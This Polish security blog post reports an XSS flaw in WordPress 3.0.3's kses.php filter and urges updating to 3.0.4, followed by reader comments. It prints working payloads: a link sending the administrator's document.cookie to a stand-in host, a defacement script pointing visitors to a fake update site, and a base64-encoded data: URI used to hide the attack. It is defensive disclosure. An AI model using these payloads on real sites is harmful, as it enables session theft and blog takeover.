0:37
31/12/2010

XSS na WordPress 3.0.3 (kses.php)

WordPress właśnie wypuścił “krytyczną” poprawkę bezpieczeństwa na błąd typu XSS, który może zostać wykorzystany przez atakującego do wykradzenia ciastka administratora i przejęcia kontroli nad blogiem. Zalecamy szybką aktualizację, poniżej szczegóły błędu.

Kradzież ciastka administratora

Błąd znajduje się w pliku kses.php, a wynika z niedokładnego filtrowania atrybutu “href” w linkach będących częścią komentarzy pochodzących od użytkowników. Jeśli atrybut jest zapisany dużymi literami, można przemycić w nim kod JavaScript:

<a HREF="javascript:alert(0)">kliknij tutaj</a>

co oczywiście umożliwia atakującemu przeprowadzenie ataku polegającego na wykradzeniu ciastka administratora…

Podobne ataki ćwiczymy na naszych szkoleniach z bezpieczeństwa webaplikacji — śpieszcie się, na styczeń 2011 zostały już tylko 4 wolne miejsca

Oto przykładowy kod kradnący ciastko:

<a HREF="javascript:open('http://foo.bar/?zoot=' + document.cookie)">kliknij tu</a>

Atakujący może również przeprowadzić “deface” strony:

<a HREF="javascript:eval(document.getElementById('site-title').innerHTML+=' 
IMPORTANT WORDPRESS UPDATE, go to badsite.com to download it!');">nice site</a>

co będzie wyglądać tak:

Wordpress XSS 3.0.3

XSS w WordPress 3.0.3

Warunek dla powyższych “exploitów”: administrator musi kliknąć na podstawiony link. Dlatego też, aby zwiększyć skuteczność ataku warto ukryć jego zawartość (bo pewnie wielu administratorów zorientuje się, że coś jest nie tak, kiedy w linku zobaczą javascript:foobar):

<a HREF="data:text/html;base64,PHNjcmlwdD5hbGVydCgvbmllYm
V6cGllY3puaWsvKTwvc2NyaXB0Pg==">kliknij tu</a>

Ochrona przed XSS-em

WordPress wypuścił już nową wersję 3.0.4, wystarczy się zaktualizować. Przy okazji, warto dodatkowo założyć HTTP Authentication na katalog wp-admin — dzięki temu, nawet jeśli komuś kiedyś uda się wykraść ciastko administratora (np. za pomocą takiego jak powyżej błędu), będzie miał kolejne zabezpieczenie do pokonania, zanim zacznie psocić wam na blogu ;)

Przeczytaj także:

20 komentarzy

Dodaj komentarz
  1. Dzięki za informacje, akurat nie logowałem się do panelu i przeoczył bym poprawkę.

  2. Update jest od wczoraj, a dziś już była wersja 3.0.4_pl, zaktualizowano.

  3. Ostatnio, jak Was odwiedzałem, to wp-admin wchodziło bez problemu :D
    Teraz jest prośba o autoryzację, ale jak zamiast indeksu wp-admin otworzy się wp-login.php, to wystarczy zignorować okno autoryzacji HTTP i wchodzi normalnie panel logowania WordPressa, tylko bez obrazków.

  4. ‘Wykraść ciastko administratora’ i przez Was dostałem ochoty na jakieś ciastko, np. administratora piekarni ;p

  5. Akurat wczoraj pisałem o częściowym rozwiązaniu tego typu problemów (odnośnie wykradania ciasteczek sesyjnych w opisany w przykładzie sposób) :D http://blog.kamilbrenk.pl/bezpieczenstwo-cookies-z-httponly/

    Aktualizacja zrobiona :-)

  6. co z zabezpieczeniami bos? http://www.goldbank.pl/rynek/3522-saby-poziom-zabezpiecze-bo.html

  7. krytyczny xss ! :D hahahahahaha

  8. Niebezpieczniku, pisać o XSS’ach wam nie przystoi!

  9. @Putty: why not?

  10. Generalnie duży błąd, dziwię się, że przez tak długi czas nikt tego nie zauważył. Cóż, moje wyobrażenie programistów dużego projektu (a’la wordpress) runęło w gruzach. To nie wygląda tak, że gość siedzi 24/7 i grzebie w kodzie szukając dziur i dokonując poprawek? Na The Social Network tak właśnie było! :P
    huhuhu ;>

  11. @Putty: to jest DYSKRYMINACJA! Dyskryminujesz XSS’y! Jesteś uprzedzony i nie respektujesz ich swobód obywatelskich.

    “Hańba, Hańba, Hańba, Hańba!”

    Ech, za dużo cookies się najadłem… Zdrowia w Nowym Roku życzę :)

  12. Ja bloguję od 11 grudnia przy pomocy Jekylla i nie męczę serwera PHP i MySQL.

  13. Dostałem 504. Nginx? Awesome.

  14. Ciasteczka http-only są już dostępne od wersji php 5.2.0 czyli od 4 lat, dostęp do tych ciastek jest zablokowana z poziomu javascript. Fajnie wiedzieć że WordPress tworzy banda ignorantów.

  15. @Cezary, tyle tylko, że WP jest kompatybilny z php 4 i wynika to z konieczności zapewnienia wsparcia jak największej grupie odbiorców:
    http://wordpress.org/about/requirements/

    ps. nie mów, że twórcy WP są ignorantami, bo nie sprawdziłeś jak sprawa wygląda i sam wychodzisz na ignoranta.

  16. Trapi mnie wpis z blipa o “kolejce” sprzed kilkunastu godzin…
    Mógłby ktoś rozwinąć temat?:P

  17. @Koziołek, z ciebie to chyba Matołek, odsyłam do manuala php, obadaj funkcję version_compare() i stałą PHP_VERSION. Można pisać aplikacje, które będą działać na starym php4 a zarazem będą potrafiły wykorzystać nowe funkcje z php5.

    if (version_compare(PHP_VERSION, ‘5.2.0’, ‘>=’)) {
    utworz_ciastko_http_only();
    } else {
    utworz_zwykle_ciastko();
    }

  18. 3.04 też ma błędy proszę poszukać w google ; p

  19. item: Ciastko Administratora, +10 do kontroli bloga ;p

Twój komentarz

Zamieszczając komentarz akceptujesz regulamin dodawania komentarzy. Przez moderację nie przejdą: wycieczki osobiste, komentarze nie na temat, wulgaryzmy.

RSS dla komentarzy: